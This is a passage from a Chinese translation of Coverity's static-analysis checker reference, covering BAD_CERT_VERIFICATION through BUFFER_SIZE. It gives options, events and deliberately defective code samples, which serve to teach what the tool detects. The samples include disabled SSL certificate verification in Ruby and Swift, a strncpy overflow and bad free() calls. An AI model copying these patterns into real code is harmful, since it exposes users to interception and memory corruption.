以下 Ruby-on-Rails 代码展示了在配置 `Net::HTTP` 连接时禁用 SSL 证书验证的情况。

```
require "net/http"

Net::HTTP.start("example.com", 8080, :use_ssl => true, :verify_mode =>
  OpenSSL::SSL::VERIFY_NONE)
```

4.21.3.7. Swift

下面的示例说明了 Swift 中的可能缺陷：

```
import MultipeerConnectivity

class TestDoesNothingTrue : NSObject, MCSessionDelegate {
    func session(_ session: MCSession, peer peerID: MCPeerID, didChange state: MCSessionState) { }
    func session(_ session: MCSession, didReceive data: Data, fromPeer peerID: MCPeerID) { }
    func session(_ session: MCSession, didReceive stream: InputStream, withName streamName: String, fromPeer peerID: MCPeerID) { }
    func session(_ session: MCSession, didStartReceivingResourceWithName resourceName: String, fromPeer peerID: MCPeerID, with progress: Progress) { }
    func session(_ session: MCSession, didFinishReceivingResourceWithName resourceName: String, fromPeer peerID: MCPeerID, at localURL: URL, withError error: Error?) { }
    func session(_ session: MCSession, didReceiveCertificate certificate: [Any]?, fromPeer peerID: MCPeerID, certificateHandler: @escaping (Bool) -> Void) {
        certificateHandler(true) // Defect Here
    }
}
```

4.21.4. 选项

本部分描述了一个或多个 `BAD_CERT_VERIFICATION` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BAD_CERT_VERIFICATION:check_ssl_session:<boolean>` - [仅限 Java 和 Kotlin] 此选项决定是否针对验证主机名之前用于通信的 `SSLSockets` 报告缺陷。某些创建 `SSLSession` 的 API 不自动执行主机名验证。在使用这些 API 时，要靠程序员在使用 `SSLocket` 之前显式检查主机名。默认值为 `BAD_CERT_VERIFICATION:check_ssl_session:true`。

4.22. BAD_CHECK_OF_WAIT_COND

质量检查器

4.22.1. 概述

支持的语言：. Java

BAD_CHECK_OF_WAIT_COND 查找线程未正确检查等待条件即在互斥锁中调用 `wait()` 的很多情况。在 Java 中，不会为 `wait()` 调用提供等待程序需要的条件，因此程序员需要确保等待条件在等待之前为 `false`，在等待之后为 `true`。此检查需要在锁定区域内等待之前执行。否则，等待条件可能在检查和等待之间变成 `true`，这会导致程序出现不必要的等待。此外，Java 语言容易发生“虚假唤醒”，即 `wait()` 在收到调用 `notify()` 或 `notifyAll()` 的等待条件已满足的通知之前成功返回。因此，还需要检查循环内等待条件的状态，这可允许线程在发生虚假唤醒时再次等待。此检查器可查找此类检查执行不当的情况。

默认启用： BAD_CHECK_OF_WAIT_COND 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.22.2. 示例

本部分提供了一个或多个 BAD_CHECK_OF_WAIT_COND 示例。

```
class BCWCExamples {
    public Object lock;

    boolean someCondition;

    public void NoChecking() throws InterruptedException {
        synchronized(lock) {
            //Defect due to not checking a wait condition at all
            lock.wait();
        }
    }

    public void IfCheck() throws InterruptedException {
        synchronized(lock) {
            // Defect due to not checking the wait condition with a loop.
            // If the wait is woken up by a spurious wakeup, we may continue
            // without someCondition becoming true.
            if(!someCondition) {
                lock.wait();
            }
        }
    }

    public void OutsideLockLoop() throws InterruptedException {
        // Defect. It is possible for someCondition to become true after
        // the check but before acquiring the lock. This would cause this thread
        // to wait unnecessarily, potentially for quite a long time.
        while(!someCondition) {
    }
```

```

        synchronized(lock) {
            lock.wait();
        }
    }

public void Correct() throws InterruptedException {
    // Correct checking of the wait condition. The condition is checked
    // before waiting inside the locked region, and is rechecked after wait
    // returns.
    synchronized(lock) {
        while(!someCondition) {
            lock.wait();
        }
    }
}

```

4.22.3. 事件

本部分描述了 BAD_CHECK_OF_WAIT_COND 检查器生成的一个或多个事件。

- add_loop_check_inside_lock - 修复建议：引导用户将检查等待条件视为锁定区域内的循环条件。
- do_while_insufficient - 应用到包含等待调用的锁定区域内的 do-while：告知用户 do-while 不足以作为等待条件的检查，因为它只会在其首次迭代后检查该条件。
- if_insufficient - 告知用户代码容易发生虚假唤醒，因为 if 语句检查了锁定区域内的等待条件。
- loop_outside_lock_insufficient - 告知用户在锁定区域之外包含等待条件的循环不能确保该条件在控制进入锁定区域时具有相同的值。
- wait_cond_improperly_checked - 主要事件：识别其条件受到不正确检查的等待。

4.23. BAD_COMPARE

质量、安全检查器

4.23.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

BAD_COMPARE 可查找滥用比较运算符或函数的情况。例如，它可以查找将函数隐式转换为其地址，然后与 0 进行比较的情况。由于函数地址绝不会为 0，因此这类比较始终会得到固定的结果（这通常不是程序员期望的）。

默认启用：BAD_COMPARE 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.23.2. 示例

本部分提供了一个或多个 BAD_COMPARE 示例。

下面的示例由于混淆了逻辑否定运算符优先级产生了缺陷。

```
void bug1(int x, int y) {
    if (!x == y) { /* ... */ } /* event reported here */
}
```

4.23.3. 选项

本部分描述了一个或多个 BAD_COMPARE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- BAD_COMPARE:report_function_address_comparison <boolean> - 当此选项设置为 true 时，检查器将报告函数隐式转换为其地址并与 0 进行比较的情况。默认为 BAD_COMPARE:report_function_address_comparison:true。

4.23.4. 事件

本部分描述了 BAD_COMPARE 检查器生成的一个或多个事件。

- comparator_misuse - 滥用了 memcmp 风格函数的返回值，例如：

```
void bug1(const char *s) {
    if (strcmp(s, "blah") == 1) { /* ... */ }
}

void nobug1(const char *s) {
    if (strcmp(s, "blah") > 0) { /* ... */ }
}
```

- func_conv - 将函数地址与 0 做了比较，例如：

```
void do_something(char const *s) {
    if (strlen == 0) { /* not a function call */
        /* handle empty string */
    }
    /* ... */
}
```

请注意，该检查器不会标记函数指针与 0 的比较；它只会标记函数地址之间的比较。如果出于某些原因需要将函数地址与 0 进行比较，您可以更改此类比较，对该检查器隐藏常量值：

```
void do_something(char const *s) {
    int (*null_fp)(char const *) = 0;
    if (strlen == null_fp) { /* checker allows this */ }
```

```

    /* never executed... */
}
/* ... */
}

```

请注意，NO_EFFECT 检查器将报告与 0 进行的隐式比较（例如在将字符串常数值转换为布尔值时），因此 BAD_COMPARE 不重复报告此类问题。

- null_misuse - 与 NULL 做了不相等比较，例如：

```

void bug2(int *x) {
    if (x >= NULL) { /* ... */ }
}

void nobug2(int *x) {
    if (*x >= NULL) { /* ... */ }
}

```

- string_lit_comparison - 将指针与字符串常数值做了比较，例如：

```

void do_something(const char *other) {
    if(other == "expected") { /* event reported here */
        /* do something */
    }
}

```

虽然将常量的值与其他操作数进行比较会产生编译器错误，但在使用某些编译器配置的情况下，将常数值的地址与其他操作数进行比较可能是可行的。

4.24. BAD_EQ

质量检查器

4.24.1. 概述

支持的语言：. C#

BAD_EQ 是一项统计检查器，确定是应该使用结构等式（例如使用 `Equals` 方法）还是使用引用等式（例如使用非重载 `==` 运算符）比较指定类型的两个对象。不正确的比较可能导致难以诊断的错误和不正确的行为。

在大部分情况下，应该使用结构等式通过调用 `Equals` 方法比较 C# 中的对象。但是，为了确保效率，有时通过引用等式暗指结构等式的方式（例如使用对象池或 hash consing）构造对象会很有用。BAD_EQ 假设对象的类型足以确定是应该使用引用等式还是结构等式比较对象。

统计信息按动态类型收集。也就是说，调用 `x.Equals(y)` 被视为对 `x` 的动态类型执行结构等式检查。因此，当 `y` 的动态类型与 `x` 不相同时，就会出现一定的不对称性，但此类不对称的影响非常小。

以下方法和运算符可测试是引用等式还是结构等式：

- 如果 `x` 具有被覆盖的 `Object.Equals(y)` 方法，则是结构等式，否则为引用等式：

`x.Equals(y)` 与 `Object.Equals(x,y)`

- 如果 `x` 具有被覆盖的 `==/!=` 运算符，则是结构等式，否则为引用等式：

运算符 `==(x,y)` 和运算符 `!=(x,y)`

该检查器在以下情况下会忽略对引用等式和结构等式的测试：

- 当检查是在上述示例显示的其中一种方法中进行时。
- 当检查是在包含此类比较的等价方法中进行时。
- 当检查是 NULL 检查时。
- 当检查与 `Object.ReferenceEquals(x,y)` 一起执行时。

4.24.2. 示例

本部分提供了一个或多个 `BAD_EQ` 示例。

```
class ValueCompare
{
    public override bool Equals(object o)
    {
        return base.Equals(o);
    }

    static void usuallyValueCompared(ValueCompare v1, ValueCompare v2)
    {
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
    }

    static void bug(ValueCompare v1, ValueCompare v2)
    {
        if(v1 == v2) { // Error: This should be using v1.Equals(v2) instead.
            return;
        }
    }
}
```

4.24.3. 选项

本部分描述了一个或多个 `BAD_EQ` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BAD_EQ:stat_threshold:<a_percentage>` - 该选项会在达到或超过结构等式比较的指定阈值 (所有等式比较的百分比) 时将引用等式比较报告为缺陷。例如，`-co BAD_EQ:stat_threshold:50` 会导致该检查器在 50% 的比较为结构比较时针对所有引用等式比较报告缺陷。默认值为 `BAD_EQ:stat_threshold:80`

当 `cov-analyze --aggressiveness-level` 为“中等”(medium) 或“高”(high) 时，`BAD_EQ:stat_threshold` 会被自动设置为 70。

- `BAD_EQ:stat_bias:<floating_point_number>` - 该选项可指定浮点数 N，检查器在 $(S + N) / (S + R) \leq T$ 时根据该值报告缺陷。在此处，S = 结构比较的数量，R = 引用比较的数量，T = `stat_threshold` 选项的值。默认值为 `BAD_EQ:stat_bias:0.25`

当 `cov-analyze --aggressiveness-level` 为“高”(high) 时，`BAD_EQ:stat_bias` 会被自动设置为 0.5。

4.24.4. 事件

本部分描述了 `BAD_EQ` 检查器生成的一个或多个事件。

- `use_value_equality` - 结构等式检查占少数。每个缺陷也可以包括最多五个多数等式检查的示例，事件名称为 `struct_eq_use` (当代码中使用引用等式检查时)。
- `value_equality_use` - 引用等式检查占少数。每个缺陷也可以包括最多五个多数等式检查的示例，事件名称为 `ref_eq_use` (当代码中使用结构等式检查时)。

4.25. BAD_EQ_TYPES

质量检查器

4.25.1. 概述

支持的语言：. C#

`BAD_EQ_TYPES` 可查找针对不兼容类型的对象引用执行的等式检查。这几乎不可能是有意为之，因为将不同类型的对象视为相等并不正常。当比较是断言的一部分时，该检查器不会报告错误。

C# 编译器甚至会拒绝使用内置 `==` 运算符比较两个不兼容的对象引用的代码。此检查器通过检查以下类型是比较来扩展该行为：

- `x.Equals(y)`
- `Object.ReferenceEquals(x,y)`

4.25.2. 示例

本部分提供了一个或多个 `BAD_EQ_TYPES` 示例。

```
// (c) 2013 Coverity, Inc. All rights reserved worldwide.
```

```

class B {
    public override bool Equals(object obj) {
        return base.Equals(obj);
    }
}

class C {
    static void test(B x, C y) {
        // Defect: The following call always returns false
        //          because B and C are of unrelated types.
        x.Equals(y);
    }
}

```

4.26. BAD_FREE

质量检查器

4.26.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

BAD_FREE 可查找指针已释放但并非经由动态分配的很多情况。释放未指向动态分配内存的指针会导致未定义行为。常见的后果是损坏内存，这进而会导致程序崩溃。

默认启用：BAD_FREE 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.26.2. 示例

本部分提供了一个或多个 BAD_FREE 示例。

释放数组类型：

```

struct S { int a[4]; };
void fn(struct S *s) {
    int stackarray[3];
    int *p = stackarray; // array_assign
    free(p);           // incorrect_free

    free(s->a);      // array_free
}

```

释放函数指针：

```

int (*fnptr)(int);
void fn() {
    free(fnptr);       // fnptr_free
}

```

}

4.26.3. 选项

本部分描述了一个或多个 `BAD_FREE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BAD_FREE:allow_first_field:<boolean>` - 当此选项被设置为 `true` 时，该检查器会抑制将释放结构第一个字段的地址、第一个字段的第一个元素或第一个字段的首个字段等报告为缺陷。由于第一个字段的地址与包含对象的地址相同，因此这些构造是无害的。默认值为 `BAD_FREE:allow_first_field:true`

4.26.4. 事件

本部分描述了 `BAD_FREE` 检查器生成的一个或多个事件。

- `address_compare` - 将变量地址作为指针的等效项进行了比较。
- `address_free` - 错误释放了变量的地址。
- `array_assign` - 将数组赋值给指针。
- `array_compare` - 将数组作为指针的等效项进行了比较。
- `fnptr_free` - 错误释放了函数指针。
- `incorrect_free` - 错误释放了数组指针或地址。

4.27. BAD_LOCK_OBJECT

质量检查器

4.27.1. 概述

支持的语言：. C#、Java

`BAD_LOCK_OBJECT` 查找通过锁定不当锁表达式（例如 `interned` 字符串、装箱 [boxed] Java 原语或者其内容可能会在执行关键区期间发生更改的字段）保护关键区的很多情况。锁定此类错误的锁对象可能导致不确定的行为或死锁。

默认启用：`BAD_LOCK_OBJECT` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.27.2. 示例

本部分提供了一个或多个 `BAD_LOCK_OBJECT` 示例。

4.27.2.1. C#

```

class BadLockObjectExamples {
    // This is the most correct way to do this. Create an immutable object of
    // type object which is used only as a lock. Do this instead of any of the
    // examples that follow.
    private readonly object myLock = new object();
    public void TheCorrectWay() {
        lock(myLock) {
            /* ... some critical section ... */
        }
    }
    // Yes, C# will let you do this, but it is a very bad idea. String
    // literals are centrally interned and could also be locked on by a library,
    // causing you to potentially have deadlocks or lock collisions with other
    // code.
    public void DontLockOnStringLiterals() {
        lock("") {}
    }

    // This is also a bad idea, for the same reason as the above.
    string strLock = "";
    public void DontLockOnFieldsInitializedWithStringLiterals() {
        lock(strLock) {}
    }

    // string.Empty has different interning behaviors in different versions of
    // the VM. Locking on string.Empty is especially bad.
    public void EspeciallyDontLockOnStringEmpty() {
        lock(string.Empty) {}
    }

    // string.intern returns the canonical, centrally stored copy of a string.
    // It suffers from the same problems as the above.
    public void DontLockOnInternedStrings(string someStr) {
        lock(string.Intern(someStr)) {}
    }
    // The object created in the lock statement can only be accessed by
    // one thread. Locking upon it will do nothing.
    public void DontLockOnObjectsThatCanOnlyBeAccessedByOneThread() {
        lock(new object()) {}
    }

    // Boxed structs in C# also create a new object which is likely only
    // accessible to the current thread.
    public struct SomeStruct {
        public int x;
        public int y;
    }
}

```

```

public void DontLockOnBoxedStructs(SomeStruct x) {
    lock((object) x) {
    }
}
// One thread can initialize myList to some value and enter
// the critical section. Then a second thread can modify myList and enter
// the critical section. This will likely cause race conditions and
// corrupted data. In this case, it can cause part of the items[] array to
// be added to the old contents of myList, and part to the new contents of
// myList.
ArrayList myList;
public void DontMutateLockedFields(object[] items) {
    if(myList == null) {
        myList = new ArrayList();
    }
    lock(myList) {
        foreach(object item in items) {
            myList.Add(item);
        }
    }
}
// By assigning myList in a critical section guarded by myList, this code is
// allowing other threads to enter the critical section by acquiring a lock
// on a different object. This breaks the protections that locking on
// myList would provide.
public void DontGuardAMutableFieldByLockingOnThatField() {
    lock(myList) {
        myList = new ArrayList();
        /* ... other critical section operations ... */
    }
}
}

```

4.27.2.2. Java

```

class BadLockObjectExamples {
    // This is the most correct way to do this. Create an immutable object of
    // type Object which is used only as a lock. Do this instead of any of the
    // examples that follow.
    private final Object myLock = new Object();
    public void TheCorrectWay() {
        synchronized(myLock) {
            /* ... some critical section ... */
        }
    }
    // Yes, Java will let you do this, but it is a very bad idea. String
    // literals are centrally interned and could also be locked on
    // by a library,
    // causing you to potentially have deadlocks or lock collisions
    // with other code.
    public void DontLockOnStringLiterals() {
        synchronized("") {}
    }
}

```

```

// This is also a bad idea, for the same reason as the above.
String strLock = "";
public void DontLockOnFieldsInitializedWStringLiterals() {
    synchronized(strLock) {
    }
}

// String.intern returns the canonical, centrally stored copy of a string.
// It suffers from the same problems as the above.
public void DontLockOnInternedStrings(String someStr) {
    synchronized(someStr.intern()) {
    }
}

// This is a bad idea for the same reason as locking on the empty string.
// Boxed integers within a certain range are guaranteed to be stored in
// the same central location. Thus, you can have locking collisions
// with libraries.
public void DontLockOnBoxedIntegers() {
    synchronized((Integer) 0) {
    }
}

// This is even worse. If someVal can be a value outside of the small range
// where aliasing is guaranteed, the aliasing behavior of the boxed integer
// is not guaranteed at all. It may work differently on different systems
// or between different versions of the JVM.
public void DontLockOnBoxedIntegers2(int someVal) {
    synchronized((Integer) someVal) {
    }
}

// For floats, doubles, and other boxable types, there is no range in which
// the aliasing of a boxed value is guaranteed.
public void DontLockOnFloatsOrDoubles() {
    synchronized((Float) 0.0f) {
    }
}

// BAD_LOCK_OBJECT will notice if a box happens in a field.
Integer intLock = 5;
public void FieldBoxedInt() {
    synchronized(intLock) {
    }
}
// The object created in the synchronized statement can only be accessed by
// one thread. Locking upon it will do nothing.
public void DontLockOnObjectsThatCanOnlyBeAccessedByOneThread() {
    synchronized(new Object()) {
    }
}

```

```

// One thread can initialize myList to some value and enter
// the critical section. Then a second thread can modify myList and enter
// the critical section. This will likely cause race conditions and
// corrupted data. In this case, it can cause part of the items[] array to
// be added to the old contents of myList, and part to the new contents of
// myList.
ArrayList myList;
public void DontMutateLockedFields(Object[] items) {
    if(myList == null) {
        myList = new ArrayList();
    }
    synchronized(myList) {
        for(Object item : items) {
            myList.add(item);
        }
    }
}

// By assigning myList in a critical section guarded by myList, this code is
// allowing other threads to enter the critical section by acquiring a lock
// on a different object. This breaks the protections that locking on
// myList would provide.
public void DontGuardAMutableFieldByLockingOnThatField() {
    synchronized(myList) {
        myList = new ArrayList();
        /* ... other critical section operations ... */
    }
}

```

4.27.3. 事件

C#、Java

本部分描述了 BAD_LOCK_OBJECT 检查器生成的一个或多个事件。

- assign - [C#、Java] 识别将不合适的锁对象赋值给变量的表达式。用于 single_thread_lock、boxed_lock 和 interned_string_lock 子类别。
- assign_to_field - [C#、Java] 识别指定锁定字段的点。此事件属于 unsafe_assign_to_locked_field 子类别。
- boxed_lock - [仅限 Java] boxed_lock 子类别的主要事件：表明代码锁定了装箱 (boxed) Java 原语。
- box_primitive - [仅限 Java] 表明原语已被装箱 (boxed) 为某种形式的对象（可能是属于 boxed_lock 子类别的错误锁对象的来源）。
- boxed_struct - [仅限 C#] 识别来自装箱 (boxed) 构造的 C# 对象（可能是属于 single_thread_lock 子类别的错误锁对象的来源）。
- csharp_string_empty - [仅限 C#] 识别使用 C# 静态字段 String.Empty（其值在 .NET 的部分版本中暂存，在另一些版本中未暂存）的情况。这可能是属于 interned_string_lock 子类别的错误锁对象的来源。

- canonical_origin - [C#、Java] 表明字段被赋予另一个方法中的字符串或装箱 (boxed) 原语的规范表现形式。
- getlock - [C#、Java] 表明在被调用方中使用了不合适的锁值作为锁。用于 boxed_lock 和 interned_string_lock 子类别。
- interned_string_lock - [C#、Java] interned_string_lock 子类别的主要事件：表明代码锁定了 interned 字符串。
- lock_on_assigned_field - [C#、Java] unsafe_assign_to_locked_field 子类别的主要事件：识别锁定被指定字段的点。
- new_object - [C#、Java] 识别通过 new 显式构造的对象（可能是属于 single_thread_lock 子类别的错误锁对象的来源）。
- numeric_literal - [仅限 Java] 识别整数、浮点值或之后被装箱 (boxed) 并用作锁的其他原语常量。这可能是属于 boxed_lock 子类别的错误锁对象的来源。
- single_thread_lock - [C#、Java] single_thread_lock 子类别的主要事件：表明代码锁定了无法在此线程之外访问的对象。
- string_intern - [C#、Java] 识别显式调用 Java 或 C# 字符串暂存函数（可返回传入字符串的暂存表现形式）的情况。这可能是属于 interned_string_lock 子类别的错误锁对象的来源。
- string_literal - [C#、Java] 识别之后被用作锁的字符串常量（可能是 interned_string_lock 子类别的来源）。
- use_immutable_object_lock - [C#、Java] 修复建议：建议用户设置将 Object 类型的不可变字段用作锁，而不是当前可疑的锁表达式。

4.28. BAD_OVERRIDE

质量检查器

4.28.1. 概述

支持的语言：. C++、Objective-C++

BAD_OVERRIDE 检查器可查找代码尝试覆盖基类/父类中的方法，但由于方法签名不一致而未发生覆盖的很多情况。例如，它可查找由于缺少 const 修饰符而覆盖虚函数（这会导致类型签名不一致）方面的很多缺陷。

BAD_OVERRIDE 检查器默认禁用。必须使用 -co "BAD_OVERRIDE:virtual:true" 设置 cov-analyze 选项来启用该检查器。

4.28.2. 示例

本部分提供了一个或多个 BAD_OVERRIDE 示例。

下面的代码进行了编译，但可能未按预期方式工作：

```
class base
```

```
{
    virtual void foo() const {/*...*/}
};

class child: public base
{
    /* Wg: child::foo is probably meant to override base::foo but
       type signatures don't match perfectly */
    void foo() { /* ... */ } //#defect#BAD_OVERRIDE
};
```

下面的代码显示了在您使用 `virtual` 选项时发现的缺陷：

```
class basel
{
    void foo() const {}
};

class child1: public basel
{
    /* Warning: child::foo is probably meant to override base::foo but
       that function is not virtual. */
    // cov-analyze option must be set: -co 'BAD_OVERRIDE:virtual:true'
    void foo() const {} //#defect#BAD_OVERRIDE
};
```

4.28.3. 选项

本部分描述了一个或多个 `BAD_OVERRIDE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BAD_OVERRIDE:virtual:<boolean>` - 当此选项被设置为 `true` 时，该检查器将报告 C++ 中有关继承类中的方法与基类方法具有相同签名，但由于基类方法不是虚的而导致未被覆盖（只会被隐藏）的情况。此类情况很可疑，但也可能是特意为之。默认值为 `BAD_OVERRIDE:virtual:false`

4.28.4. 事件

本部分描述了 `BAD_OVERRIDE` 检查器生成的一个或多个事件。

- `bad_override` - 未覆盖父方法的方法。
- `not_overridden` - 未被覆盖的父方法。

4.29. BAD_SHIFT

质量检查器

4.29.1. 概述

支持的语言：. C、C++、C#、Java、Objective-C、Objective-C++

`BAD_SHIFT` 可查找位移运算，在其中位移量（右操作数）的值或可能值的范围可能导致运算可能调用未定义行为或者可能不会生成预期结果。

具体来说，该检查器可查找以下情况：

- 对于左位移（`<<`），位移量大于或等于左操作数扩展到的类型的大小（以位为单位）。
- 对于右位移（`>>` 和 `>>>`，适用于 Java），位移量大于或等于（未扩展的）左操作数的大小（以位为单位）。
- 位移量为负。

默认启用：`BAD_SHIFT` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.29.2. 示例

本部分提供了一个或多个 `BAD_SHIFT` 示例。

4.29.2.1. C/C++

在下面的 C/C++ 示例中，左移量大于或等于左操作数扩展到的类型的大小（以位为单位），存在未定义行为。

```
int large_left_shift(int val, int shift_amount)
{
    if (shift_amount < 32) return val;
    // Shift amount is at least 32 which is larger than 31, the maximum
    // valid shift amount for a left operand of type 'int' (on an
    // architecture where 'int' is 4 bytes).
    // This operation has undefined behavior.
    return (val << shift_amount);
}
```

下面的示例显示了大于被移方未扩展大小（以位为单位）的右移量。

```
unsigned int large_right_shift(unsigned char val, int shift_amount)
{
    if (shift_amount < 8) return val;
    // Shift amount is at least 8 which is larger than 7, the maximum
    // useful shift amount for a left operand of type 'char'.
    // This operation is well-defined, but always yields zero.
    return (val >> shift_amount);
}
```

4.29.2.2. C# 和 Java

在下面的示例中，在右操作数大于或等于已扩展左操作数的大小（以位为单位）的情况下，针对左移运算报告了缺陷。在此类情况下，实际位移量通过将位掩码应用到右操作数获得。当左操作数被扩展为 `int` 或者 `0x3F` (63) 被扩展为 `long` 时，位掩码值为 `0x1F` (31)。

```

int large_left_shift(int val, int shift_amount)
{
    if (shift_amount < 32) return val;
    // Shift amount is at least 32, a bit mask of 0x1F is applied to
    // the shift amount (shift_amount & 0x1F).
    return (val << shift_amount);
}

```

4.29.3. 事件

本部分描述了 BAD_SHIFT 检查器生成的一个或多个事件。

- `large_shift` - 移位运算的右操作数大于允许的最大值。
- `negative_shift` - 移位运算的右操作数为负。

4.30. BAD_SIZEOF

质量、安全检查器

4.30.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

BAD_SIZEOF 报告在参数是可疑类别（例如对象的地址，通常应该是实际对象的大小）之一时使用 `sizeof` 运算符的情况。非正常大小值可能导致各种问题，例如分配不足或过量、缓冲区越界访问、部分初始化或复制以及逻辑不一致。

BAD_SIZEOF 报告被应用到以下项的 `sizeof` 运算符：

- 具有指针类型的函数参数。
- C++ `this` 指针。
- 对象的地址。
- 指针算术运算表达式。

不正确大小值可能导致各种问题，例如分配不足或过量、缓冲区越界访问、部分初始化或复制以及逻辑不一致。

可根据代码的预期目的修复这些缺陷。如果 `sizeof` 确实不正确，您通常可以通过从 `sizeof` 的操作数中移除间接层或通过调整圆括号的位置来解决这些问题。

默认启用：BAD_SIZEOF 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.30.2. 示例

本部分提供了一个或多个 BAD_SIZEOF 示例。

在下面的示例中，`param_not_really_an_array` 从语法上看像是数组，但实际上是一个指针。当您将 `sizeof` 运算符应用到指针后，会生成指针的大小（通常是 4 或 8 字节），而不是预期的 10 字节。注意，`sizeof(<pointer>)` 也由 `SIZEOF_MISMATCH` 报告。

```
void f(char param_not_really_an_array[10])
{
    /* Defect */
    memset(param_not_really_an_array, 0, sizeof(param_not_really_an_array)); // defects BAD_SIZEOF, SIZEOF_MISMATCH
}
```

在下面的示例中，`sizeof` 运算符被应用到 `s` 的地址，而不是 `s` 本身。

```
short s;
memset( &s, 0, sizeof(&s)); //#defect#BAD_SIZEOF //#defect#SIZEOF_MISMATCH // #defect#OVERRUN
```

在下面的示例中，`sizeof` 运算符被应用到了指针计算术运算表达式 `buf - 3`。该表达式具有类型 `char*`，并且大小可能是 4 或 8 个字节：

```
char buf[100];
buf[0] = 'x';
buf[1] = 'y';
buf[2] = 'z';
int sz = sizeof(buf - 3); //#defect SIZEOF_MISMATCH //#defect#BAD_SIZEOF
memset(buf + 3, 0, sz); //#defect SIZEOF_MISMATCH
```

在下面的示例中，`sizeof` 被应用到了 `this` 指针而不是 `*this` 对象，这会产生不正确的对象大小值：

```
private:
    int m_var;
public:
    size_t getObjectSize() const
    {
        /* Defect */
        return sizeof(this); //#defect#BAD_SIZEOF
    }
```

4.30.3. 选项

本部分描述了一个或多个 `BAD_SIZEOF` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BAD_SIZEOF:report_pointers:<boolean>` - 当此选项被设置为 `true` 时，该检查器将在使用 `sizeof` 运算符获取几乎任意指针的大小时报告缺陷。默认值为 `BAD_SIZEOF:report_pointers:false`

示例：

```

int *p_int = malloc(10 * sizeof(p_int));
/* Defect: sizeof(*p_int) intended */

int *q_int;
memcpy(&q_int, &p_int, sizeof(p_int)); /* Intentional:
legitimate use of sizeof applied to a pointer */

```

某些与指针数组相关的常见 idiom 会被自动排除，即使指定了 report_pointers:true：

```

char *array_of_ptr_to_char[10];

size_t total_bytes = 10 * sizeof(array_of_ptr_to_char[0]);
/* would normally be reported */

size_t total_bytes2 = 10 * sizeof(*array_of_ptr_to_char);
/* pointer/array equivalence */

/* denominator would normally be reported */
int num_elems = sizeof(array_of_ptr_to_char) / sizeof(array_of_ptr_to_char[0]);

char **ptr_to_ptr_to_char = array_of_ptr_to_char;

int num_elems2 = total_bytes / sizeof(*ptr_to_ptr_to_char);
/* more pointer/array equivalence */

```

4.30.4. 事件

本部分描述了 BAD_SIZEOF 检查器生成的一个或多个事件。

- bad_sizeof - 后续行中的 sizeof 运算符存在问题。

4.31. BUFFER_SIZE

质量、安全检查器

4.31.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

BUFFER_SIZE 可查找由于将不正确的长度参数传递给缓冲区处理函数而可能发生缓冲区溢出的很多情况。如果将此类不正确的参数传递给 strcpy() 或 memcpy() 等函数，可能导致内存损坏、安全缺陷以及程序崩溃。要启用此检查器，请使用 -en BUFFER_SIZE 选项。该选项还启用 BUFFER_SIZE_WARNING。

当此检查器发现函数传递了将溢出缓冲区目标的长度参数时，将会报告 BUFFER_SIZE 缺陷。当长度参数与缓冲区目标完全相同（导致没有空间用于放置 null 终止符）时，它会发出警告 BUFFER_SIZE_WARNING。

此检查器会分析对以下函数的调用：

- `strncpy`、`memcpy`、`fgets`、`memmove`、`wmemmove`、`memset`、`strxfrm`
- `wcxfrm`、`wcsncpy`、`wcsncat`
- `lstrcpyN`、`strcpynw`
- `StrCopyN`、`StrCopyNA`、`StrCopyNW`
- `_mbsncpy`、`_tcsncpy`、`_mbsncat`、`_tcsncat`、`_tcsxfrm`

默认禁用 : `BUFFER_SIZE` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

安全检查器启用：要与其他安全检查器一起启用 `BUFFER_SIZE`，请在 `cov-analyze` 命令中使用 `--security` 选项。

4.31.2. 示例

本部分提供了一个或多个 `BUFFER_SIZE` 示例。

在下面的示例中，调用 `strncpy()` 会生成错误，因为源字符串的长度为 20 个字符，但目标字符串最长只能有 10 个字符：

```
void buffer_size_example() {
    static char source[] = "Twenty characters!!!";
    char dest[10];
    strncpy(dest, source, strlen(source));
}
```

4.31.3. 选项

本部分描述了一个或多个 `BUFFER_SIZE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BUFFER_SIZE:report_fixed_size_dest:<boolean>` - 当此选项被设置为 `true` 时，如果目标长度已知但源长度未知（例如指针），该检查器将会报告缺陷。这些是潜在的溢出，因为源可能任意大，并且应该在传递给复制程序之前执行长度检查。默认不报告缺陷，除非源长度和目标长度都已知。默认值为 `BUFFER_SIZE:report_fixed_size_dest:false`

4.31.4. 事件

本部分描述了 `BUFFER_SIZE` 检查器生成的一个或多个事件。

- `buffer_size` - 通过可能不正确的长度参数调用了缓冲区处理函数。

4.32. BUFFER_SIZE_WARNING

质量、安全检查器

